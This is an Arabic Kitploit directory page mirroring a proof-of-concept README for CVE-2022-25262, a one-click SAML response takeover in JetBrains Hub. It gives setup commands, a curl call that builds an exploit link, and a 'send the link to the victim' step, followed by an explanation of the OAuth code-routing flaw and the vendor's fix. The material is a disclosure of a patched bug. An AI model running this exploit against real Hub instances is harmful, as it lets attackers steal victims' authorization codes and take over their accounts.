Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-25262 — إثبات المفهوم + تفاصيل الثغرة الأمنية لـ CVE-2022-25262 / استيلاء على استجابة SAML بنقرة واحدة في JetBrains Hub | Kitploit
أدوات/GitHubGitHub/yuriisanin/cve-2022-25262
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالفريق الأحمر
GitHubyuriisanin/cve-2022-25262

CVE-2022-25262

إثبات المفهوم + تفاصيل الثغرة الأمنية لـ CVE-2022-25262 / استيلاء على استجابة SAML بنقرة واحدة في JetBrains Hub

عرض المستودع
1756منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25262

PoC + تفاصيل الثغرة لـ CVE-2022-25262 | استيلاء على استجابة SAML بنقرة واحدة في JetBrains Hub

  • CVE-2022-25262
    • المتطلبات
    • الاستخدام
    • كيف يعمل؟
      • تجمع رموز التفويض OAuth2 لعملية تبادل "OAuth2 -> SAML"
      • استيلاء على رمز التفويض OAuth2 لـ YouTrack Konnector (حسب التصميم)
      • التخفيف

المتطلبات

  • JetBrains Hub <2022.1.14434
  • تم تكوين JetBrains Hub كموفّر هوية SAML (SAML IdP)
  • تم تثبيت خدمة "YouTrack Konnektor" (مضمنة مع YouTrack)

الاستخدام

التثبيت والتشغيل:

root@kitploit:~
$ git clone https://github.com/yuriisanin/CVE-2022-25262
$ cd CVE-2022-25262/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h

  usage: exploit.py [-h] [-p P]

  optional arguments:
    -h, --help  show this help message and exit
    -p P        Uvicorn port
    
# إذا قمت بتشغيل الأداة على الجهاز المحلي، قد تحتاج إلى استخدام Ngrok أو بدائل.
$ ngrok http 8000

الاستخدام:

  1. استخدم نقطة النهاية "GET /get-exploit-link" للحصول على رابط الاستغلال
  2. أرسل الرابط إلى الضحية

معاملات الاستعلام:

الاسمالوصفمطلوب
hub_urlعنوان URL لمثيل Hub المستهدف✅
issuerمُصدر SAML✅
acs_urlعنوان URL لخدمة مستهلك التأكيد (Assertion Consumer Service)✅
youtrack_urlعنوان URL لمثيل YouTrack المتصل بـ Hub (مطلوب إذا كان المستخدم الضيف معطلاً)❔

الحصول على رابط الاستغلال:

root@kitploit:~
$ curl -v "http://{exploit-host}/get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml"

* Trying {exploit-host-ip}:80...
* Connected to {exploit-host} ({exploit-host-ip}) port 80 (#0)
> GET /get-exploit-link?hub_url=https://hub.jetbrains.com&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml HTTP/1.1
> Host: {exploit-host-ip}
> User-Agent: curl/7.77.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Length: 341
< Content-Type: application/json
< Date: Sat, 30 Apr 2022 19:14:45 GMT
< Server: uvicorn
< 
* Connection #0 to host {exploit-host-ip} left intact

{"exploit_url":"https://hub.jetbrains.com/api/rest/oauth2/auth?client_id=fd6b45e6-4a91-4574-9fcf-ebc6926f6378&response_type=code&scope=Hub+YouTrack+TeamCity+Upsource+fd6b45e6-4a91-4574-9fcf-ebc6926f6378&state=fhdyaaf&access_type=offline&redirectURI=https://konnector.services.jetbrains.com/ring/oauth"}

عرض توضيحي:

عرض توضيحي لـ CVE-2022-25262

كيف يعمل؟

يتكون الضعف من جزأين:

  • استخدام تجمع رموز التفويض OAuth2 لعملية تبادل "OAuth2 -> SAML".
  • استيلاء على رمز التفويض باستخدام تكامل YouTrack Konnector.

تجمع رموز التفويض OAuth2 لعملية تبادل "OAuth2 -> SAML"

يعمل موفّر هوية SAML كامتداد لـ OAuth. عندما يريد مستخدم معين تسجيل الدخول إلى موفّر خدمة محدد، يمر عبر تدفق منح رمز التفويض OAuth (الطلبات 1-2)، وبمجرد الحصول على الرمز، يتم إعادته إلى Hub (الطلب 3). يأخذ Hub معلومات المستخدم المرتبطة بالرمز ويصدر استجابة SAML موقعة للخدمة. على الرغم من أن موفّر هوية SAML يستخدم عميل OAuth التابع لـ Hub (client_id=0-0-0-0-0) للتكامل، إلا أنه لا يتحقق نيابة عن أي عميل OAuth تم إصدار الرمز له. الشيء الوحيد المهم هنا هو ما إذا كان الرمز صالحًا. قد يؤدي ذلك إلى الاستيلاء على استجابة SAML إذا وجد المهاجم طريقة للاستيلاء على رمز التفويض من أي عميل OAuth مسجل في Hub.

oauth2-saml-exchange

استيلاء على رمز التفويض OAuth2 لـ YouTrack Konnector (حسب التصميم)

YouTrack Konnector هي خدمة تابعة لجهة أولى تسمح بربط مثيل YouTrack محدد مع بوت Slack الخاص به. تأخذ الخدمة عنوان URL لمثيل YouTrack بالإضافة إلى معرف وسر عميل OAuth الخاص بـ Konnector (الطلب 1). ثم تحاول التحقق من أن عنوان URL المقدم يشير إلى مثيل YouTrack صالح عن طريق استدعاء عدة نقاط نهاية API (طلبات "المصافحة" 2-3). إذا سارت الأمور على ما يرام، سيعيد Konnector عنوان URL الذي يسمح لمستخدم محدد بالمتابعة مع تدفق منح رمز OAuth (الاستجابة 1). يحتوي عنوان URL على معامل استعلام "state" يساعد Konnector في توجيه رمز التفويض OAuth إلى المعالج المناسب (مثيل Hub). يمكن للمهاجم إنشاء مضيف بنقاط النهاية المطلوبة لـ "المصافحة" والحصول على معامل "state" يشير إلى مضيف المهاجم. بعد ذلك، يمكن للمهاجم صياغة عنوان URL لتفويض OAuth وإرساله إلى الضحية. إذا نقرت الضحية على الرابط وأكملت تدفق OAuth (يجب أن يكون لدى الضحية جلسة صالحة في Hub)، ستتلقى خدمة Konnector الرمز وترسله إلى مضيف المهاجم (الطلبات 4-6).

slack-service-authz-code-takeover

التخفيف

أضاف فريق YouTrack فحصًا يسمح باستخدام رموز التفويض الصادرة لعميل OAuth "JetBrains Hub Service" فقط أثناء عملية تبادل "OAuth2 -> SAML". وبالتالي، لا توجد طريقة لتبادل رموز التفويض الصادرة لعميل OAuth "YouTrack Konnector".

الدعم

يمكنك متابعتي على Twitter، GitHub أو YouTube.

تنزيل الأداة